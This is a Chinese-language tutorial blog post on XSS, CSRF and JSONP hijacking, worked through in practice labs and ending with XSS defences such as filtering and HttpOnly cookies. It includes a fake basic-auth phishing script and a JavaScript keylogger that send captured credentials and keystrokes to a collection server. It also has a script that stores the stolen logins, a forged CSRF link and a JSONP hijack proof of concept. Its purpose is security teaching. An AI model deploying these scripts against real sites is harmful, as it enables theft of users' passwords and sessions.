[Web安全] xss&CSRF漏洞初探

[Web安全] xss&CSRF漏洞初探

[Web安全] xss&CSRF漏洞初探_第1张图片

正文|xss简介

现代网站往往会包含大量的动态内容,动态内容是指web应用程序根据用户环境和需要来输出相关内容。跨站脚本攻击(cross site scripting)是一种针对网站应用程序的安全漏洞利用技术,是代码注入漏洞的一种,它使得攻击者可以通过巧妙地方法向网页中注入恶意代码,用户浏览器在加载网页、渲染html文档时就会执行攻击者的恶意代码,攻击成功后,攻击者可能得到很高的权限,获取私密网页内容、会话、cookie等敏感信息。XSS可以理解为在用户浏览器上的代码执行漏洞,可以在悄无声息的情况下实现模拟用户的操作。

XSS按照攻击原理可以大致分为三种:反射型、存储型、DOM型。经常遭受XSS攻击的典型应用有:邮件、论坛、即时通信、留言板、社交平台。

正文|反射型XSS简述

反射型XSS又称非持久型xss,XSS代码作为客户端输入的内容提交给服务端,服务端解析后,在响应内容中返回输入的XSS代码、这种攻击方法往往具有一次性,因为xss代码不会被服务端存储。

以下是反射性xss的环境搭建:




	
	XSS利用输出的环境来构造代码




	
把我们输入的字符串 输出到input里的value属性里
请输入你想显现的字符串


'; }else{ echo ''; } ?>

使用payload进行测试:

">

[Web安全] xss&CSRF漏洞初探_第2张图片

获取cookie

由于本地搭建没有设置cookie,所以我们在此使用pikachu靶场的反射型xss环境

payload:


[Web安全] xss&CSRF漏洞初探_第3张图片

正文|存储型xss简述

存储型xss又称持久型xss。存储型xss与反射型xss的区别主要在于提交的xss代码是否会存储在服务端。存储型xss的典型利用应用为留言板,即时通讯,邮件服务等。攻击者通过提交包含XSS代码的留言后,服务端会将其存储在数据库中,其他用户访问留言时,服务端将从数据库查询已有留言并将留言内容输出在http响应中。

下面是存储型xss的环境搭建:简易留言板



	
	留言板


	
输入留言内容
标题:
内容:

标题内容"; while($row = mysqli_fetch_array($result2)) { echo "".$row['title'] . "" . $row['content'].""; } echo ""; ?>

记得在数据库中创建xss表,不然php找不到xss表就无法插入数据会报错

[Web安全] xss&CSRF漏洞初探_第4张图片

[Web安全] xss&CSRF漏洞初探_第5张图片

不知为何连接上数据库后php还是不能向数据库中写入。可能是权限问题吧,研究半天没有成功,这里换用pikachu靶场的xss(store)环境

[Web安全] xss&CSRF漏洞初探_第6张图片

成功跳转弹窗

[Web安全] xss&CSRF漏洞初探_第7张图片

与反射型相同payload上传获取cookie

[Web安全] xss&CSRF漏洞初探_第8张图片

正文|DOM XSS简述

[Web安全] xss&CSRF漏洞初探_第9张图片

DOM XSS是指页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或者元素的修改,引入了被污染的变量,从而导致xss。DOM XSS与反射型,存储型XSS主要的区别在于DOM XSS的XSS代码不需要服务器端解析,依赖的是浏览器端的DOM解析。

DOM环境搭建




	
	Test
	



	
这里会显示输入的内容


DOM XSS测试

[Web安全] xss&CSRF漏洞初探_第10张图片

正文|xss利用

1.窃取 Cookie:

从以上的实验过程中,我们可以看到,由于黑客注入的 JavaScript 代码是运行在 http://server.com 这个域名下的,因此,黑客可以在 JavaScript 中通过 document.cookie 获得 Cookie 信息。也就是说**黑客可以窃取用户的 Cookie。**另外,需要我们注意的是,受SOP(Same Origin Policy,同源策略)保护,我们在 http://server.com 中是无法直接向 http://hacker.com 发送 GET 或者 POST 请求的。但是我们可以通过 window.location 、加载 JavaScript 文件、图片等方式,向 http://attacker.com 发送带有 Cookie 的 GET 请求。

窃取用户的cookie后,黑客可以通过cookie伪造合法身份(管理员身份)登录,获取操作网页的权限。

2. 未授权操作

除了窃取敏感信息以外,黑客还可以利用 JavaScript 的特性,直接代替用户在 HTML 进行各类操作。

微博 XSS 攻击事件中,黑客就利用 JavaScript 脚本,让用户发送了一个微博,微博中同时还带有反射型 XSS 的链接。这样一来,每个点击链接的用户都会通过微博的形式,诱导更多的用户点击链接,一传十、十传百,造成大范围的传播。

微博xss攻击事件相关链接:
https://www.cnblogs.com/svennee/p/4099637.html

https://www.cnblogs.com/hainange/archive/2011/06/29/6152978.html

[Web安全] xss&CSRF漏洞初探_第11张图片

3. 按键记录和钓鱼

窃取 Cookie 和未授权操作都是我们很容易想到的危害,除此之外,JavaScript 还能做什么呢?

JavaScript 的功能十分强大,它还能够记录用户在浏览器中的大部分操作。比如:鼠标的轨迹、键盘输入的信息等。也就是说,你输入的账号名和密码,都可以被 JavaScript 记录下来,从而被黑客获取到。

另外,即使某个存在 XSS 漏洞的页面不具备任何输入框,黑客还可以通过修改 DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码。这也是“钓鱼”的一种形式,在这个过程中用户访问的域名是完全正常的,只是页面被篡改了,所以具备更高的迷惑性。

实验|利用XSS漏洞钓鱼

相关脚本:

1 钓鱼脚本

1.1弹出伪造验证框脚本


error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
    header("Location: http://192.168.88.128/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
    &password={$_SERVER[PHP_AUTH_PW]}");
}

?>

1.2 将用户输入的信息进行处理并保存


error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

if(!empty($_GET['username']) && !empty($_GET['password'])){

    $username=$_GET['username'];
    $password=$_GET['password'];
    $referer="";
    $referer.=$_SERVER['HTTP_REFERER'];
    $time=date('Y-m-d g:i:s');
    $query="insert fish(time,username,password,referer) values('$time','$username','$password','$referer')";
    $result=mysqli_query($link, $query);

}
?>

2 键盘记录脚本

2.1 制作键盘的js,异步发送给键盘记录脚本

function createAjax(){
    var request=false;
    if(window.XMLHttpRequest){
        request=new XMLHttpRequest();
        if(request.overrideMimeType){
            request.overrideMimeType("text/xml");
        }

    }else if(window.ActiveXObject){
    
        var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for(var i=0; i<versions.length; i++){
            try{
                request=new ActiveXObject(versions[i]);
                if(request){
                    return request;
                }
            }catch(e){
                request=false;
            }
        }
    }
    return request;

}

var ajax=null;
var xl="datax=";

function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode);
    xl+=realkey;
    show();
}

document.onkeypress = onkeypress;

function show() {
    ajax = createAjax();
    ajax.onreadystatechange = function () {
        if (ajax.readyState == 4) {
            if (ajax.status == 200) {
                var data = ajax.responseText;
            } else {
                alert("页面请求失败");
            }
        }
    }

    var postdate = xl;
    ajax.open("POST", "http://192.168.88.128/pkxss/rkeypress/rkserver.php",true);
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);

}

2.2处理并保存按键记录脚本


操作步骤:首先配置脚本一和脚本三,使窃取的信息导入到脚本二和脚本四。

脚本一将location后域名地址配置为脚本二的本地地址

header("Location: http://192.168.88.128/pkxss/xfish/xfish.php? // 修改这里
username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");

脚本三将post后域名配置为脚本四的本地地址

ajax.open("POST", "http://192.168.88.128/pkxss/rkeypress/rkserver.php",true);//配置这里
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

构造钓鱼payload:


image.png

[Web安全] xss&CSRF漏洞初探_第12张图片

访问保存信息的的页面就可以获取我们刚才输入的账号密码,完成一次简单的xss

在这里插入图片描述

参考链接:https://blog.csdn.net/weixin_43526443/article/details/105737140

拓展|XSS防护策略

特定标签过滤

通过过滤掉xss危险html标签(script,ifame)来防御xss的一种办法,也是防御xss的最简单思路,但其实这种方法局限性很大。因为任何一种标签,无论是否合法,都可以构造出xss代码。而当输入点在html的属性中或js代码中,攻击者可以简单的闭合、拼接属性或js代码。不需要引入新标签就可以实现xss。而且html的更新势必会带来更多可以利用的新标签(video),这种方法治标不治本

事件过滤

开发者通过过滤许多HTML的事件属性来防御xss。(如onerror)

敏感关键字过滤

针对敏感变量和函数进行的过滤。防护性不强,可以通过字符串拼接,编码解码等方式绕过。

长度限制

由于xss跨站脚本的注入需要一定长度的输入,此时我们如果限制输入长度,就能有效地限制xss注入。

如下图通过前端js代码限制输入最大长度

[Web安全] xss&CSRF漏洞初探_第13张图片

启用HTTP Only

首先,我们了解一下一个Cookie的使用过程:

Step1:浏览器向服务器发起请求,这时没有Cookie。Step2:服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。

Step3:在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。

接下来,我们了解一下HttpOnly

HttpOnly是Cookie的一个安全属性,最早是由微软提出,并在IE 6中实现的,至今已成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。严格来说,HttpOnly并非为了对抗XSS–HttpOnly解决的是XSS后的Cookie劫持。之前的文章中提到过”如何使用XSS窃取用户的Cookie,然后登录进该用户的账户“。但如果该Cookie设置了HttpOnly,则这种攻击会失败,因为JavaScript读取不到Cookie的值。

HttpOnly的使用非常灵活,如下是一个使用HttpOnly的过程。



header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly", false);

?>

<script>
  alert(document.cookie);
</script>


拓展|CSRF简述

[Web安全] xss&CSRF漏洞初探_第14张图片

CSRF(Cross—site request forgery)跨站请求伪造,也被称为One Click Attack或Session Riding。是一种对网站的恶意利用,它与XSS的不同之处在于:XSS利用的是站点内的受信任用户,CSRF则是通过伪装成权限用户对受信任的网站的请求。

CSRF其实可以这样理解:

攻击者利用目标用户的身份,以目标用户的名义进行某些非法操作

CSRF攻击有以下关键点:

目标用户已经登录了网站,能够执行网站内的功能

目标用户访问了攻击者构造的url

CSRP简单实践-基于pikachu靶场

登录靶场给出的默认账号

[Web安全] xss&CSRF漏洞初探_第15张图片

点击修改个人信息并填写修改,点击修改的同时抓包分析

[Web安全] xss&CSRF漏洞初探_第16张图片

GET /vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=1256136&add=136142&email=1241251&submit=submit HTTP/1.1

发现url后有get传参是用来修改参数的。于是我们可以伪造一个url如下诱使用户点击,就完成了一次简单的csrf攻击。例如这里

url+?sex=hack&phonenum=hacker&add=666666&email=hack&submit=submit HTTP/1.1

[Web安全] xss&CSRF漏洞初探_第17张图片

拓展|jsonp简述

JSONP(JSON with Padding)是JSON的一种“使用模式”,可用于解决主流浏览器的跨域数据访问的问题。由于同源策略,一般来说位于 server1.example.com 的网页无法与不是 server1.example.com的服务器沟通,**而 HTML 的

jsonp简单实践-csrf的jsonp劫持

为了学习jsonp专门搭建了一个DoraBox靶场…进入jsonp劫持项目。

[Web安全] xss&CSRF漏洞初探_第18张图片

使用如下poc进行劫持

DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>json劫持title>
head>
<body>
    <script>
    function vulkey(data)
    {
        alert(JSON.stringify(data));
        }
        script>
<script src="http://localhost/DoraBox-master/csrf/jsonp.php?callback=vulkey">
script>
body>
html>

劫持成功

[Web安全] xss&CSRF漏洞初探_第19张图片

后记

xss漏洞是个较为普遍且非常经典的漏洞,但由于其特殊性,在ctf赛题中很少单独利用,而是和其他漏洞进行联动。因此学好xss是做好许多ctf题目的前提。当然,这篇文章讲解的可能对你们现在来说确实有些难度,初步要求掌握正文内容,拓展内容学有余力者可以研究研究。

你可能感兴趣的:(安全漏洞,xss,csrf,jsonp)